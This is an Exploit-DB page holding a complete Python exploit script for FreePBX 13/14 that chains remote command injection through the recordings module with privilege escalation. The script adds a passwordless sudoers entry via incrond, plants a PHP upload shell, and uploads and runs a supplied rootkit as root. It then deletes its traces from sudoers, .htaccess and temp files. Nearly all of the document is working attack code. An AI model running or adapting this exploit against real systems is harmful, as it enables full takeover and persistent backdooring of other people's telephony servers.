FreePBX 13/14 – Remote Command Execution / Privilege Escalation

  • 作者: pgt
    日期: 2016-08-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40232/
  • #!/usr/bin/env python
    # -*- coding, latin-1 -*- ######################################################
    ##
    # DESCRIPTION#
    # FreePBX 13 remote root 0day - Found and exploited by pgt @ nullsecurity.net#
    ##
    # AUTHOR #
    # pgt - nullsecurity.net #
    ##
    # DATE #
    # 8-12-2016#
    ##
    # VERSION#
    # freepbx0day.py 0.1 #
    ##
    # AFFECTED VERSIONS#
    # FreePBX 13 & 14 (System Recordings Module versions: 13.0.1beta1 - 13.0.26) #
    ##
    # STATUS #
    # Fixed 08-10-2016 - http://issues.freepbx.org/browse/FREEPBX-12908#
    ##
    # TESTED AGAINST #
    # * http://downloads.freepbxdistro.org/ISO/FreePBX-64bit-10.13.66.iso#
    # * http://downloads.freepbxdistro.org/ISO/FreePBX-32bit-10.13.66.iso#
    ##
    # TODO #
    # * SSL support (priv8)#
    # * parameter for TCP port #
    ##
    # HINT #
    # Base64 Badchars: '+', '/', '=' #
    ##
    ################################################################################
    
    '''
    Successful exploitation should looks like:
    
    [*] enum FreePBX version
    [+] target running FreePBX 13
    [*] checking if target is vulnerable
    [+] target seems to be vulnerable
    [*] getting kernel version
    [!] Kernel: Linux localhost.localdomain 2.6.32-504.8.1.el6.x86_64 ....
    [+] Linux x86_64 platform
    [*] adding 'echo "asterisk ALL=(ALL) NOPASSWD:...' to freepbx_engine
    [*] triggering incrond to gaining root permissions via sudo
    [*] waiting 20 seconds while incrond restarts applications - /_!_\ VERY LOUD!
    [*] removing 'echo "asterisk ALL=(ALL) NOPASSWD:...' from freepbx_engine
    [*] checking if we gained root permissions
    [!] w00tw00t w3 r r00t - uid=0(root) gid=0(root) groups=0(root)
    [+] adding view.php to admin/.htaccess
    [*] creating upload script: admin/libraries/view.php
    [*] uploading ${YOUR_ROOTKIT} to /tmp/23 via admin/libraries/view.php
    [*] removing view.php from admin/.htaccess
    [*] rm -f admin/libraries/view.php
    [!] execute: chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1; rm -f /tmp/23
    [*] removing 'asterisk ALL=(ALL) NOPASSWD:ALL' from /etc/sudoers
    [*] removing all temp files
    [!] have fun and HACK THE PLANET!
    '''
    
    
    import base64
    import httplib
    import optparse
    import re
    from socket import *
    import sys
    import time
    
    
    BANNER = '''\033[0;31m
    ################################################################################
    #______________________________________ ____________ #
    #\_ _____/______ ____ ____\______ \______ \ \///_ \_____\#
    # |__) \___ \_/ __ \_/ __ \| ___/||_/\ /| | _(__<#
    # | \ || \/\___/\___/|||| \/ \| |/ \ #
    # \___/ |__|\___>\___>____||______/___/\\ |___/______/ #
    # \/\/ \/ \/\_/\/#
    #_______.___ #
    #\ _\ __| _/_______.__. * Remote Root 0-Day#
    #//_\\ ______/ __ |\__\< ||#
    #\\_/ \ /_____/ / /_/ | / __ \ \___ |#
    # \_____/ \____ |(____/ ____|#
    # \/ \/ \/\/ #
    ##
    # * Remote Command Execution Exploit (FreePBX 14 is affected also) #
    # * Local Root Exploit (probably FreePBX 14 is also exploitable) #
    # * Backdoor Upload + Execute As Root#
    ##
    # * Author: pgt - nullsecurity.net #
    # * Version: 0.1 #
    ##
    ################################################################################
    \033[0;m'''
    
    
    def argspage():
    parser = optparse.OptionParser()
    
    parser.add_option('-u', default=False, metavar='<url>',
    help='ip/url to exploit')
    parser.add_option('-r', default=False, metavar='<file>',
    help='Linux 32bit bd/rootkit')
    parser.add_option('-R', default=False, metavar='<file>',
    help='Linux 64bit bd/rootkit')
    parser.add_option('-a', default='/', metavar='<path>',
    help='FreePBX path - default: \'/\'')
    
    args, args2 = parser.parse_args()
    
    if (args.u == False) or (args.r == False) or (args.R == False):
    print ''
    parser.print_help()
    print '\n'
    exit(0)
    
    return args
    
    
    def cleanup_fe():
    print '[*] removing \'echo "asterisk ALL=(ALL) NOPASSWD:...' \
    '\' from freepbx_engine'
    cmd = 'sed -i --\' /echo \"asterisk ALL=(ALL)NOPASSWD\:ALL\">>' \
    '\/etc\/sudoers/d\' /var/lib/asterisk/bin/freepbx_engine'
    command_execution(cmd)
    
    return
    
    
    def cleanup_lr():
    print '[*] removing \'echo "asterisk ALL=(ALL) NOPASSWD:...' \
    '\' from launch-restapps'
    cmd = 'sed -i -- \':r;$!{N;br};s/\\necho "asterisk.*//g\' ' \
    'modules/restapps/launch-restapps.sh'
    command_execution(cmd)
    
    return
    
    
    def cleanup_htaccess():
    print '[*] removing view.php from admin/.htaccess'
    cmd = 'sed -i -- \'s/config\\\\.php|view\\\\.php|ajax\\\\.php/' \
    'config\\\\.php|ajax\\\\.php/g\' .htaccess'
    command_execution(cmd)
    
    return
    
    
    def cleanup_view_php():
    print '[*] rm -f admin/libraries/view.php'
    cmd = 'rm -f libraries/view.php'
    command_execution(cmd)
    
    return
    
    
    def cleanup_sudoers():
    print '[*] removing \'asterisk ALL=(ALL) NOPASSWD:ALL\' from /etc/sudoers'
    cmd = 'sudo sed -i -- \'/asterisk ALL=(ALL)NOPASSWD:ALL/d\' /etc/sudoers'
    command_execution(cmd)
    
    return
    
    
    def cleanup_tmpfiles():
    print '[*] removing all temp files'
    cmd = 'find / -name *w00t* -exec rm -f {} \; 2> /dev/null'
    command_execution(cmd)
    
    return
    
    
    def check_platform(response):
    if (response.find('Linux') != -1) and (response.find('x86_64') != -1):
    print '[+] Linux x86_64 platform'
    return '64'
    elif (response.find('Linux') != -1) and (response.find('i686') != -1):
    print '[+] Linux i686 platform'
    cleanup_tmpfiles()
    sys.exit(1)
    return '32'
    else:
    print '[-] adjust check_platform() when you want to backdoor ' \
    'other platforms'
    cleanup_tmpfiles()
    sys.exit(1)
    
    
    def check_kernel(response):
    if response.find('w00t') != -1:
    start = response.find('w00t') + 4
    end = response.find('w00tw00t') - 1
    print '[!] Kernel: %s' % (response[start:end].replace('\\', ''))
    
    return check_platform(response[start:end])
    
    
    def check_root(response):
    if response.find('uid=0(root)') != -1:
    start = response.find('w00t') + 4
    end = response.find('w00tw00t') - 2
    print '[!] w00tw00t w3 r r00t - %s' % (response[start:end])
    return
    else:
    print '[-] we are not root :('
    cleanup_fe()
    cleanup_lr()
    cleanup_tmpfiles()
    sys.exit(1)
    
    
    def build_request(filename):
    body = 'file=%s&name=a&codec=gsm&lang=ru&temporary=1' \
    '&command=convert&module=recordings' % (filename)
    content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
    
    return content_type, body
    
    
    def filter_filename(response):
    start = response.find('localfilename":"w00t') + 16
    end = response.find('.wav') + 4
    
    return response[start:end]
    
    
    def post(path, content_type, body):
    h = httplib.HTTP(ARGS.u)
    h.putrequest('POST', '%s%s' % (ARGS.a, path))
    h.putheader('Host' , '%s' % (ARGS.u))
    h.putheader('Referer' , 'http://%s/' % (ARGS.u))
    h.putheader('Content-Type', content_type)
    h.putheader('Content-Length', str(len(body)))
    h.endheaders()
    h.send(body)
    errcode, errmsg, headers = h.getreply()
    
    return h.file.read()
    
    
    def encode_multipart_formdata(fields, filename=None):
    LIMIT = '----------lImIt_of_THE_fIle_eW_$'
    CRLF = '\r\n'
    L = []
    L.append('--' + LIMIT)
    if fields:
    for (key, value) in fields.items():
    L.append('Content-Disposition: form-data; name="%s"' % key)
    L.append('')
    L.append(value)
    L.append('--' + LIMIT)
    
    if filename == None:
    L.append('Content-Disposition: form-data; name="file"; filename="dasd"')
    L.append('Content-Type: audio/mpeg')
    L.append('')
    L.append('da')
    else:
    L.append('Content-Disposition: form-data; name="file"; filename="dasd"')
    L.append('Content-Type: application/octet-stream')
    L.append('')
    L.append(open_file(filename))
    
    L.append('--' + LIMIT + '--')
    L.append('')
    body = CRLF.join(L)
    content_type = 'multipart/form-data; boundary=%s' % (LIMIT)
    
    return content_type, body
    
    
    def create_fields(payload):
    fields = {'id': '1', 'name': 'aaaa', 'extension': '0', 'language': 'ru',
    'systemrecording': '', 'filename': 'w00t%s' % (payload)}
    
    return fields
    
    
    def command_execution(cmd):
    upload_path = 'admin/ajax.php?module=recordings&command=' \
    'savebrowserrecording'
    cmd = base64.b64encode(cmd)
    payload = '`echo %s | base64 -d | sh`' % (cmd)
    fields = create_fields(payload)
    content_type, body = encode_multipart_formdata(fields)
    response = post(upload_path, content_type, body)
    filename = filter_filename(response)
    content_type, body = build_request(filename)
    
    return post('admin/ajax.php', content_type, body)
    
    
    def check_vuln():
    h = httplib.HTTP(ARGS.u)
    h.putrequest('GET', '%sadmin/ajax.php' % (ARGS.a))
    h.putheader('Host' , '%s' % (ARGS.u))
    h.endheaders()
    errcode, errmsg, headers = h.getreply()
    response = h.file.read()
    
    if response.find('{"error":"ajaxRequest declined - Referrer"}') == -1:
    print '[-] target seems not to be vulnerable'
    sys.exit(1)
    
    upload_path = 'admin/ajax.php?module=recordings&command' \
    '=savebrowserrecording'
    payload = 'w00tw00t'
    fields = create_fields(payload)
    content_type, body = encode_multipart_formdata(fields)
    response = post(upload_path, content_type, body)
    
    if response.find('localfilename":"w00tw00tw00t') != -1:
    print '[+] target seems to be vulnerable'
    return
    else:
    print '[-] target seems not to be vulnerable'
    sys.exit(1)
    
    
    def open_file(filename):
    try:
    f = open(filename, 'rb')
    file_content = f.read()
    f.close()
    return file_content
    except IOError:
    print '[-] %s does not exists!' % (filename)
    sys.exit(1)
    
    
    def version13():
    print '[*] checking if target is vulnerable'
    check_vuln()
    
    print '[*] getting kernel version'
    cmd = 'uname -a; echo w00tw00t'
    response = command_execution(cmd)
    result = check_kernel(response)
    if result == '64':
    backdoor = ARGS.R
    elif result == '32':
    backdoor = ARGS.r
    
    print '[*] adding \'echo "asterisk ALL=(ALL) NOPASSWD:...\' ' \
    'to freepbx_engine'
    cmd = 'sed -i -- \'s/Com Inc./Com Inc.\\necho "asterisk ALL=\(ALL\)\' \
    'NOPASSWD\:ALL"\>\>\/etc\/sudoers/g\' /var/lib/' \
    'asterisk/bin/freepbx_engine'
    command_execution(cmd)
    
    
    print '[*] triggering incrond to gaining root permissions via sudo'
    cmd = 'echo a > /var/spool/asterisk/sysadmin/amportal_restart'
    command_execution(cmd)
    
    print '[*] waiting 20 seconds while incrond restarts applications' \
    ' - /_!_\\ VERY LOUD!'
    time.sleep(20)
    
    cleanup_fe()
    #cleanup_lr()
    
    print '[*] checking if we gained root permissions'
    cmd = 'sudo -n id; echo w00tw00t'
    response = command_execution(cmd)
    check_root(response)
    
    print '[+] adding view.php to admin/.htaccess'
    cmd = 'sed -i -- \'s/config\\\\.php|ajax\\\\.php/' \
    'config\\\\.php|view\\\\.php|ajax\\\\.php/g\' .htaccess'
    command_execution(cmd)
    
    print '[*] creating upload script: admin/libraries/view.php'
    cmd = 'echo \'<?phpmove_uploaded_file($_FILES["file"]' \
    '["tmp_name"], "/tmp/23");?>\' > libraries/view.php'
    command_execution(cmd)
    
    print '[*] uploading %s to /tmp/23 via ' \
    'admin/libraries/view.php' % (backdoor)
    content_type, body = encode_multipart_formdata(False, backdoor)
    post('admin/libraries/view.php', content_type, body)
    
    cleanup_htaccess()
    cleanup_view_php()
    
    print '[!] execute: chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1;' \
    ' rm -f /tmp/23'
    cmd = 'chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1; rm -f /tmp/23'
    setdefaulttimeout(5)
    try:
    command_execution(cmd)
    except timeout:
    ''' l4zY w0rk '''
    
    setdefaulttimeout(20)
    try:
    cleanup_sudoers()
    cleanup_tmpfiles()
    except timeout:
    cleanup_tmpfiles()
    
    return
    
    
    def enum_version():
    h = httplib.HTTP(ARGS.u)
    h.putrequest('GET', '%sadmin/config.php' % (ARGS.a))
    h.putheader('Host' , '%s' % (ARGS.u))
    h.endheaders()
    errcode, errmsg, headers = h.getreply()
    response = h.file.read()
    
    if response.find('FreePBX 13') != -1:
    print '[+] target running FreePBX 13'
    return 13
    else:
    print '[-] target is not running FreePBX 13'
    
    return False
    
    
    def checktarget():
    if re.match(r'^[0-9.\-]*$', ARGS.u):
    target = ARGS.u
    else:
    try:
    target = gethostbyname(ARGS.u)
    except gaierror:
    print '[-] \'%s\' is unreachable' % (ARGS.u)
    
    sock = socket(AF_INET, SOCK_STREAM)
    sock.settimeout(5)
    result = sock.connect_ex((target, 80))
    sock.close()
    if result != 0:
    '[-] \'%s\' is unreachable' % (ARGS.u)
    sys.exit(1)
    
    return
    
    def main():
    print BANNER
    
    checktarget()
    
    open_file(ARGS.r)
    open_file(ARGS.R)
    
    print '[*] enum FreePBX version'
    result = enum_version()
    
    if result == 13:
    version13()
    
    print '[!] have fun and HACK THE PLANET!'
    
    return
    
    
    if __name__ == '__main__':
    ARGS = argspage()
    try:
    main()
    except KeyboardInterrupt:
    print '\nbye bye!!!'
    time.sleep(0.01)
    sys.exit(1)
    
    #EOF